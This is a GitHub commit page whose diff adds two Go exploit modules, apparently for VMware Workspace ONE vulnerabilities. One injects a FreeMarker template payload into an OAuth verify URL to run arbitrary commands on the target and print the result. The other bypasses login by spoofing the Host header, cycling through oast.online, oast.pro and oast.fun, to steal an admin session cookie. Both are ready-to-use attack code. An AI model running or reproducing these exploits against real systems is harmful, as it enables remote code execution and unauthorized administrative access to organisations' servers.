-
Notifications
You must be signed in to change notification settings - Fork 166
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
root
committed
Oct 9, 2022
1 parent
2eabb7c
commit 15e84a6
Showing
4 changed files
with
211 additions
and
10 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,56 @@ | ||
package c22954 | ||
|
||
import ( | ||
"fmt" | ||
urlparse "net/url" | ||
"os" | ||
"regexp" | ||
"strings" | ||
|
||
"github.com/imroc/req/v3" | ||
) | ||
|
||
func Start(url, cmd string) { | ||
exploit(url, cmd) | ||
|
||
} | ||
|
||
func check(content string) bool { | ||
if strings.Contains(content, "console.log") { | ||
return true | ||
} else { | ||
return false | ||
} | ||
} | ||
|
||
func exploit(url, command string) { | ||
url = url + "/catalog-portal/ui/oauth/verify?code=&deviceType=&deviceUdid=%24%7b%22freemarker.template.utility.Execute%22%3fnew()(%22{command}%22)%7d" | ||
|
||
target := strings.Replace(url, "{command}", urlparse.QueryEscape(command), -1) | ||
// fmt.Println(target) | ||
client := req.C() | ||
client.EnableForceHTTP1() | ||
client.EnableInsecureSkipVerify() | ||
// client.SetProxyURL("http://127.0.0.1:8080") | ||
resp, err := client.R().Get(target) | ||
if err != nil { | ||
println("[-] Connection err, please check the network.") | ||
os.Exit(0) | ||
} | ||
// fmt.Println(resp.String()) | ||
if check(resp.String()) { | ||
reg := regexp.MustCompile(`id:(.*)device`) | ||
res := string(reg.FindAllString(resp.String(), -1)[0]) | ||
res = strings.TrimRight(res, "\n, device") | ||
res = strings.TrimLeft(res, "id: ") | ||
res = strings.Replace(res, "\\n", "\n", -1) | ||
if res == "" { | ||
fmt.Println("[?] The exploit is successful but has no result.") | ||
} else { | ||
fmt.Printf("%s", res) | ||
} | ||
|
||
} else { | ||
fmt.Println("[-] Exploitation failure.") | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,115 @@ | ||
package c22972 | ||
|
||
/* cve-2022-31656 too*/ | ||
import ( | ||
"fmt" | ||
"os" | ||
"regexp" | ||
"strings" | ||
"time" | ||
|
||
"github.com/imroc/req/v3" | ||
) | ||
|
||
func Start(url, host, cve string) { | ||
if cve == "22972" { | ||
uri_cve = "/SAAS/auth/login/embeddedauthbroker/callback" | ||
} else if cve == "31656" { | ||
uri_cve = "/SAAS/t/_/;/auth/login/embeddedauthbroker/callback" | ||
} | ||
Exploit(url, host) | ||
} | ||
|
||
var uri_cve = "" | ||
|
||
func retry(client *req.Request, url string) { | ||
login, err := client.Post(url + uri_cve) | ||
if err != nil { | ||
println("[-] Connection err, please check the network.") | ||
os.Exit(0) | ||
// log.Fatal(err) | ||
} | ||
|
||
cookies := login.Cookies() | ||
if len(cookies) > 1 && login.StatusCode == 302 { | ||
|
||
} else { | ||
println("[-] Exploitation failure.") | ||
} | ||
|
||
for i := 0; i < len(cookies); i++ { | ||
if cookies[i].Name == "HZN" { | ||
println(cookies[i].Value) | ||
os.Exit(0) | ||
} | ||
} | ||
} | ||
|
||
func Exploit(url, host string) { | ||
client := req.C() | ||
client.EnableForceHTTP1() | ||
client.SetCommonHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36") | ||
client.EnableInsecureSkipVerify() | ||
client.SetTimeout(18 * time.Second) | ||
client.SetRedirectPolicy(req.NoRedirectPolicy()) | ||
resp, err := client. | ||
R(). | ||
Get(url + "/SAAS/auth/login") | ||
if err != nil { | ||
println("[-] Connection err, please check the network.") | ||
os.Exit(0) | ||
|
||
} | ||
|
||
content := resp.String() | ||
xsrf_token := resp.Cookies()[1].Value | ||
data := map[string]string{ | ||
"protected_state": "e" + getprotectState(content), | ||
"userStoreName": "System Domain", | ||
"username": "admin", | ||
"password": "123", | ||
"userstoreDisplay": "System Domain", | ||
"horizonRelayState": gethorizonRelayState(content), | ||
"stickyConnectorId": "", | ||
"acion": "signIn", | ||
"LOGIN_XSRF": xsrf_token, | ||
} | ||
domain := []string{"oast.online", "oast.pro", "oast.fun"} | ||
|
||
rec := client.R(). | ||
SetFormData(data) | ||
if len(host) == 0 { | ||
client.SetTimeout(15 * time.Second) | ||
for _, value := range domain { | ||
fmt.Println("[*] Use domain: " + value) | ||
rec.SetHeader("Host", value) | ||
retry(rec, url) | ||
} | ||
} else { | ||
rec.SetHeader("Host", host) | ||
retry(rec, url) | ||
} | ||
|
||
} | ||
|
||
func gethorizonRelayState(conntent string) string { | ||
reg := regexp.MustCompile(`"horizonRelayState" value="(.*)/>`) | ||
res := reg.FindAllString(conntent, -1) | ||
horizonRelayState := strings.TrimLeft(res[0], `"horizonRelayState" value="`) | ||
horizonRelayState = strings.TrimRight(horizonRelayState, `"/>`) | ||
// fmt.Println(horizonRelayState) | ||
return horizonRelayState | ||
|
||
} | ||
|
||
func getprotectState(content string) string { | ||
reg := regexp.MustCompile(`"protected_state" value="(.*)"/>`) | ||
res := reg.FindAllString(content, -1) | ||
// fmt.Print(res[0] + "\n") | ||
protected_state := strings.TrimLeft(res[0], `"protected_state" value="`) | ||
// fmt.Println(protected_state + "qq") | ||
protected_state = strings.TrimRight(protected_state, `"/>`) | ||
// fmt.Println("---------------------------\n") | ||
// fmt.Println(protected_state) | ||
return protected_state | ||
} |